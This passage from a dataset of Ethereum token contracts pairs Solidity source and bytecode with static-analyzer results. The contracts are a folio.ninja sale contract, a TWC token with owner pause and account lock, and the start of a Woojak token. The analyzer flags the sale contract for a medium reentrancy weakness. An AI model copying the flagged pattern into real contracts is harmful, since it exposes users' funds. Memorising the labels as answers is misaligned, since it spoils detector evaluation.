is_later_than(endTime)
returns (bool success)
{
return super.transferFrom(sender, recipient, amount);
}
/// Pre: minting address is set. Restricted to foundation.
/// Post: New minter can now create tokens up to MAX_TOTAL_TOKEN_AMOUNT.
/// Note: This allows additional contribution periods at a later stage, while still using the same ERC20 compliant contract.
function changeMintingAddress(address newMintingAddress) only_foundation { minter = newMintingAddress; }
/// Pre: foundation address is set. Restricted to foundation.
/// Post: New address set. This address controls the setting of the minter address
function changeFoundationAddress(address newFoundationAddress) only_foundation { FOUNDATION_WALLET = newFoundationAddress; }
}
/// @title Contribution Contract
contract Contribution is SafeMath {
// FIELDS
// Constant fields
uint public constant ETHER_CAP = 25000 ether; // Max amount raised during first contribution; targeted amount AUD 7M
uint public constant MAX_CONTRIBUTION_DURATION = 8 weeks; // Max amount in seconds of contribution period
// Price Rates
uint public constant PRICE_RATE_FIRST = 480;
uint public constant PRICE_RATE_SECOND = 460;
uint public constant PRICE_RATE_THIRD = 440;
uint public constant PRICE_RATE_FOURTH = 400;
// Foundation Holdings
uint public constant FOUNDATION_TOKENS = 632000 ether;
// Fields that are only changed in constructor
address public FOUNDATION_WALLET; // folio.ninja foundation wallet
address public DEV_WALLET; // folio.ninja multisig wallet
uint public startTime; // Contribution start time in seconds
uint public endTime; // Contribution end time in seconds
FolioNinjaToken public folioToken; // Contract of the ERC20 compliant folio.ninja token
// Fields that can be changed by functions
uint public etherRaised; // This will keep track of the Ether raised during the contribution
bool public halted; // The foundation address can set this to true to halt the contribution due to an emergency
// EVENTS
event TokensBought(address indexed sender, uint eth, uint amount);
// MODIFIERS
modifier only_foundation {
assert(msg.sender == FOUNDATION_WALLET);
_;
}
modifier is_not_halted {
assert(!halted);
_;
}
modifier ether_cap_not_reached {
assert(safeAdd(etherRaised, msg.value) <= ETHER_CAP);
_;
}
modifier is_not_earlier_than(uint x) {
assert(now >= x);
_;
}
modifier is_earlier_than(uint x) {
assert(now < x);
_;
}
// CONSTANT METHODS
/// Pre: startTime, endTime specified in constructor,
/// Post: Price rate at given blockTime; One ether equals priceRate() of FLN tokens
function priceRate() constant returns (uint) {
// Four price tiers
if (startTime <= now && now < startTime + 1 weeks)
return PRICE_RATE_FIRST;
if (startTime + 1 weeks <= now && now < startTime + 2 weeks)
return PRICE_RATE_SECOND;
if (startTime + 2 weeks <= now && now < startTime + 3 weeks)
return PRICE_RATE_THIRD;
if (startTime + 3 weeks <= now && now < endTime)
return PRICE_RATE_FOURTH;
// Should not be called before or after contribution period
assert(false);
}
// NON-CONSTANT METHODS
function Contribution(address setDevWallet, address setFoundationWallet, uint setStartTime) {
DEV_WALLET = setDevWallet;
FOUNDATION_WALLET = setFoundationWallet;
startTime = setStartTime;
endTime = startTime + MAX_CONTRIBUTION_DURATION;
folioToken = new FolioNinjaToken(this, FOUNDATION_WALLET, startTime, endTime); // Create Folio Ninja Token Contract
// Mint folio.ninja foundation tokens
folioToken.mintToken(FOUNDATION_WALLET, FOUNDATION_TOKENS);
}
/// Pre: N/a
/// Post: Bought folio.ninja tokens according to priceRate() and msg.value
function () payable { buyRecipient(msg.sender); }
/// Pre: N/a
/// Post: Bought folio ninja tokens according to priceRate() and msg.value on behalf of recipient
function buyRecipient(address recipient)
payable
is_not_earlier_than(startTime)
is_earlier_than(endTime)
is_not_halted
ether_cap_not_reached
{
uint amount = safeMul(msg.value, priceRate());
folioToken.mintToken(recipient, amount);
etherRaised = safeAdd(etherRaised, msg.value);
assert(DEV_WALLET.send(msg.value));
TokensBought(recipient, msg.value, amount);
}
/// Pre: Emergency situation that requires contribution period to stop.
/// Post: Contributing not possible anymore.
function halt() only_foundation { halted = true; }
/// Pre: Emergency situation resolved.
/// Post: Contributing becomes possible again.
function unhalt() only_foundation { halted = false; }
/// Pre: Restricted to foundation.
/// Post: New address set. To halt contribution and/or change minter in FolioNinjaToken contract.
function changeFoundationAddress(address newFoundationAddress) only_foundation { FOUNDATION_WALLET = newFoundationAddress; }
/// Pre: Restricted to foundation.
/// Post: New address set. To change beneficiary of contributions
function changeDevAddress(address newDevAddress) only_foundation { DEV_WALLET = newDevAddress; }
} | 0x606060405236156100d55763ffffffff60e060020a60003504166306fdde0381146100da5780630754617214610167578063095ea7b31461019057806318160ddd146101c057806323b872dd146101df5780632a7caaec14610215578063313ce5671461023e5780633197cbb61461025d5780634b11452c1461027c57806351892f071461029757806370a08231146102b257806378e97925146102dd57806379c65068146102fc57806395d89b411461031a578063a89c5be0146103a7578063a9059cbb146103c6578063dd62ed3e146103f6575b610000565b34610000576100e7610427565b60408051602080825283518183015283519192839290830191850190808383821561012d575b80518252602083111561012d57601f19909201916020918201910161010d565b505050905090810190601f1680156101595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b346100005761017461045e565b60408051600160a060020a039092168252519081900360200190f35b34610000576101ac600160a060020a036004351660243561046d565b604080519115158252519081900360200190f35b34610000576101cd6104d8565b60408051918252519081900360200190f35b34610000576101ac600160a060020a03600435811690602435166044356104de565b604080519115158252519081900360200190f35b3461000057610174610505565b60408051600160a060020a039092168252519081900360200190f35b34610000576101cd610514565b60408051918252519081900360200190f35b34610000576101cd610519565b60408051918252519081900360200190f35b3461000057610295600160a060020a036004351661051f565b005b3461000057610295600160a060020a0360043516610567565b005b34610000576101cd600160a060020a03600435166105af565b60408051918252519081900360200190f35b34610000576101cd6105ce565b60408051918252519081900360200190f35b3461000057610295600160a060020a03600435166024356105d4565b005b34610000576100e7610664565b60408051602080825283518183015283519192839290830191850190808383821561012d575b80518252602083111561012d57601f19909201916020918201910161010d565b505050905090810190601f1680156101595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34610000576101cd61069b565b60408051918252519081900360200190f35b34610000576101ac600160a060020a03600435166024356106aa565b604080519115158252519081900360200190f35b34610000576101cd600160a060020a03600435811690602435166106cf565b60408051918252519081900360200190f35b60408051808201909152600b81527f666f6c696f2e6e696e6a61000000000000000000000000000000000000000000602082015281565b600354600160a060020a031681565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60025481565b60006006546104ee8142116106fc565b6104f985858561070c565b91505b5b509392505050565b600454600160a060020a031681565b601281565b60065481565b60045461053a9033600160a060020a039081169116146106fc565b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b6004546105829033600160a060020a039081169116146106fc565b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a0381166000908152602081905260409020545b919050565b60055481565b6003546105ef9033600160a060020a039081169116146106fc565b806106106012600a0a62c0bfc00261060960025484610819565b11156106fc565b600160a060020a0383166000908152602081905260409020546106339083610819565b600160a060020a0384166000908152602081905260409020556002546106599083610819565b6002555b5b505b5050565b60408051808201909152600381527f464c4e0000000000000000000000000000000000000000000000000000000000602082015281565b6a0a72ee17969ba12700000081565b60006006546106ba8142116106fc565b6106c48484610841565b91505b5b5092915050565b600160a060020a038083166000908152600160209081526040808320938516835292905220545b92915050565b80151561056357610000565b5b50565b600160a060020a03831660009081526020819052604081205482901080159061075c5750600160a060020a0380851660009081526001602090815260408083203390941683529290522054829010155b80156107815750600160a060020a038316600090815260208190526040902054828101115b1561080d57600160a060020a0380841660008181526020818152604080832080548801905588851680845281842080548990039055600183528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610811565b5060005b5b9392505050565b60008282016108368482108015906108315750838210155b6106fc565b8091505b5092915050565b600160a060020a0333166000908152602081905260408120548290108015906108835750600160a060020a038316600090815260208190526040902054828101115b156108f557600160a060020a0333811660008181526020818152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060016104d2565b5060006104d2565b5b929150505600a165627a7a723058201f50db0e2df13aeaaf01b3cd65286b3aadc078567971733dd07664b3b36ba9640029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,584 |
0x07b3ff677aab63444858bc975b428f3b9dac9a12 | /**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
}
abstract contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _lockedes;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Emitted when the lock is triggered by `account`.
*/
event Lock(address account);
/**
* @dev Emitted when the unlock is lifted by `account`.
*/
event UnLock(address account);
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance.sub(subtractedValue));
return true;
}
function isLocked(address account) public view virtual returns (bool) {
return _lockedes[account];
}
//-------------------------------------- internal ------------------------------------//
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_lockedes[sender] != true, "ERC20: transfer account is locked");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
require(_balances[account] >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _lock(address account) internal virtual {
require(account != address(0), "ERC20: locking the zero address");
_lockedes[account] = true;
emit Lock(account);
}
function _unlock(address account) internal virtual {
require(account != address(0), "ERC20: unlocking the zero address");
_lockedes[account] = false;
emit UnLock(account);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Pausable is ERC20, Pausable {
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
contract TWCToken is ERC20Pausable, Ownable{
using SafeMath for uint256;
string public version = "1.0";
uint256 public MAX_SUPPLY = 10000000000 * (10**18);
// constructor
constructor() ERC20("Tworld Token","TWC", 18) {
_mint(_msgSender(), MAX_SUPPLY);
}
function burn(uint256 amount) public returns (bool){
_burn(_msgSender(), amount);
return true;
}
function mint(address account, uint256 amount) public onlyOwner returns (bool){
require(totalSupply().add(amount) <= MAX_SUPPLY, "ERC20: total supply exceeds max supply");
_mint(account, amount);
return true;
}
function pause() public onlyOwner returns (bool) {
_pause();
return true;
}
function unpause() public onlyOwner returns (bool) {
_unpause();
return true;
}
function lock(address account) public onlyOwner returns (bool) {
_lock(account);
return true;
}
function unlock(address account) public onlyOwner returns (bool) {
_unlock(account);
return true;
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634a4fbeec116100c357806395d89b411161007c57806395d89b41146102c9578063a457c2d7146102d1578063a9059cbb146102e4578063dd62ed3e146102f7578063f2fde38b14610330578063f435f5a71461034557600080fd5b80634a4fbeec1461022a57806354fd4d50146102565780635c975abb1461025e57806370a082311461026e5780638456cb59146102975780638da5cb5b1461029f57600080fd5b8063313ce56711610115578063313ce567146101cb57806332cb6b0c146101e057806339509351146101e95780633f4ba83a146101fc57806340c10f191461020457806342966c681461021757600080fd5b806306fdde0314610152578063095ea7b31461017057806318160ddd1461019357806323b872dd146101a55780632f6c493c146101b8575b600080fd5b61015a610358565b604051610167919061128e565b60405180910390f35b61018361017e3660046112fa565b6103ea565b6040519015158152602001610167565b6003545b604051908152602001610167565b6101836101b3366004611324565b610400565b6101836101c6366004611360565b6104b6565b60065460405160ff9091168152602001610167565b61019760085481565b6101836101f73660046112fa565b6104fc565b610183610532565b6101836102123660046112fa565b610574565b61018361022536600461137b565b610625565b610183610238366004611360565b6001600160a01b031660009081526002602052604090205460ff1690565b61015a610631565b600654610100900460ff16610183565b61019761027c366004611360565b6001600160a01b031660009081526020819052604090205490565b6101836106bf565b6006546201000090046001600160a01b03166040516001600160a01b039091168152602001610167565b61015a6106fb565b6101836102df3660046112fa565b61070a565b6101836102f23660046112fa565b6107a5565b610197610305366004611394565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61034361033e366004611360565b6107b2565b005b610183610353366004611360565b6108a6565b606060048054610367906113c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610393906113c7565b80156103e05780601f106103b5576101008083540402835291602001916103e0565b820191906000526020600020905b8154815290600101906020018083116103c357829003601f168201915b5050505050905090565b60006103f733848461094e565b50600192915050565b600061040d848484610a73565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156104975760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ab85336104a68487610cd6565b61094e565b506001949350505050565b6006546000906001600160a01b03620100009091041633146104ea5760405162461bcd60e51b815260040161048e90611402565b6104f382610d18565b5060015b919050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103f79185906104a690866108e3565b6006546000906001600160a01b03620100009091041633146105665760405162461bcd60e51b815260040161048e90611402565b61056e610dd0565b50600190565b6006546000906001600160a01b03620100009091041633146105a85760405162461bcd60e51b815260040161048e90611402565b6008546105be836105b860035490565b906108e3565b111561061b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a20746f74616c20737570706c792065786365656473206d617820604482015265737570706c7960d01b606482015260840161048e565b6103f78383610e69565b60006104f33383610f54565b6007805461063e906113c7565b80601f016020809104026020016040519081016040528092919081815260200182805461066a906113c7565b80156106b75780601f1061068c576101008083540402835291602001916106b7565b820191906000526020600020905b81548152906001019060200180831161069a57829003601f168201915b505050505081565b6006546000906001600160a01b03620100009091041633146106f35760405162461bcd60e51b815260040161048e90611402565b61056e6110bd565b606060058054610367906113c7565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561078c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161048e565b61079b33856104a68487610cd6565b5060019392505050565b60006103f7338484610a73565b6006546001600160a01b03620100009091041633146107e35760405162461bcd60e51b815260040161048e90611402565b6001600160a01b0381166108485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161048e565b6006805462010000600160b01b031916620100006001600160a01b03848116828102939093179384905560405192939190910416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b6006546000906001600160a01b03620100009091041633146108da5760405162461bcd60e51b815260040161048e90611402565b6104f38261113f565b6000806108f0838561144d565b9050838110156109425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048e565b9392505050565b505050565b6001600160a01b0383166109b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048e565b6001600160a01b038216610a115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ad75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048e565b6001600160a01b038216610b395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048e565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610bb15760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e73666572206163636f756e74206973206c6f636b656044820152601960fa1b606482015260840161048e565b610bbc8383836111e9565b6001600160a01b038316600090815260208190526040902054811115610c335760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161048e565b6001600160a01b038316600090815260208190526040902054610c569082610cd6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610c8590826108e3565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610a66565b600061094283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611254565b6001600160a01b038116610d785760405162461bcd60e51b815260206004820152602160248201527f45524332303a20756e6c6f636b696e6720746865207a65726f206164647265736044820152607360f81b606482015260840161048e565b6001600160a01b038116600081815260026020908152604091829020805460ff1916905590519182527f9e4b5873dcdfeaf6bf534d422fe7d4748b91bc3fc2ea0e5e4c67f74dd8a13c5491015b60405180910390a150565b600654610100900460ff16610e1e5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161048e565b6006805461ff00191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b038216610ebf5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161048e565b610ecb600083836111e9565b600354610ed890826108e3565b6003556001600160a01b038216600090815260208190526040902054610efe90826108e3565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a35050565b6001600160a01b038216610fb45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161048e565b610fc0826000836111e9565b6001600160a01b0382166000908152602081905260409020548111156110335760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161048e565b6001600160a01b0382166000908152602081905260409020546110569082610cd6565b6001600160a01b03831660009081526020819052604090205560035461107c9082610cd6565b6003556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610f48565b600654610100900460ff16156111085760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161048e565b6006805461ff0019166101001790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610e4c3390565b6001600160a01b0381166111955760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206c6f636b696e6720746865207a65726f206164647265737300604482015260640161048e565b6001600160a01b038116600081815260026020908152604091829020805460ff1916600117905590519182527fc1b5f12cea7c200ad495a43bf2d4c7ba1a753343c06c339093937849de84d9139101610dc5565b600654610100900460ff16156109495760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e736665722077686044820152691a5b19481c185d5cd95960b21b606482015260840161048e565b600081848411156112785760405162461bcd60e51b815260040161048e919061128e565b5060006112858486611465565b95945050505050565b600060208083528351808285015260005b818110156112bb5785810183015185820160400152820161129f565b818111156112cd576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146104f757600080fd5b6000806040838503121561130d57600080fd5b611316836112e3565b946020939093013593505050565b60008060006060848603121561133957600080fd5b611342846112e3565b9250611350602085016112e3565b9150604084013590509250925092565b60006020828403121561137257600080fd5b610942826112e3565b60006020828403121561138d57600080fd5b5035919050565b600080604083850312156113a757600080fd5b6113b0836112e3565b91506113be602084016112e3565b90509250929050565b600181811c908216806113db57607f821691505b602082108114156113fc57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561146057611460611437565b500190565b60008282101561147757611477611437565b50039056fea2646970667358221220af6315e2dc81063d184bcc8ab1397da0b02a37b0795937392f4cd8a976dddf2164736f6c63430008090033 | {"success": true, "error": null, "results": {}} | 10,585 |
0x21611a8a6dc4ecfb6e2907e7b90e8b2c8ad96d9e | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/**
https://t.me/woojaktoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
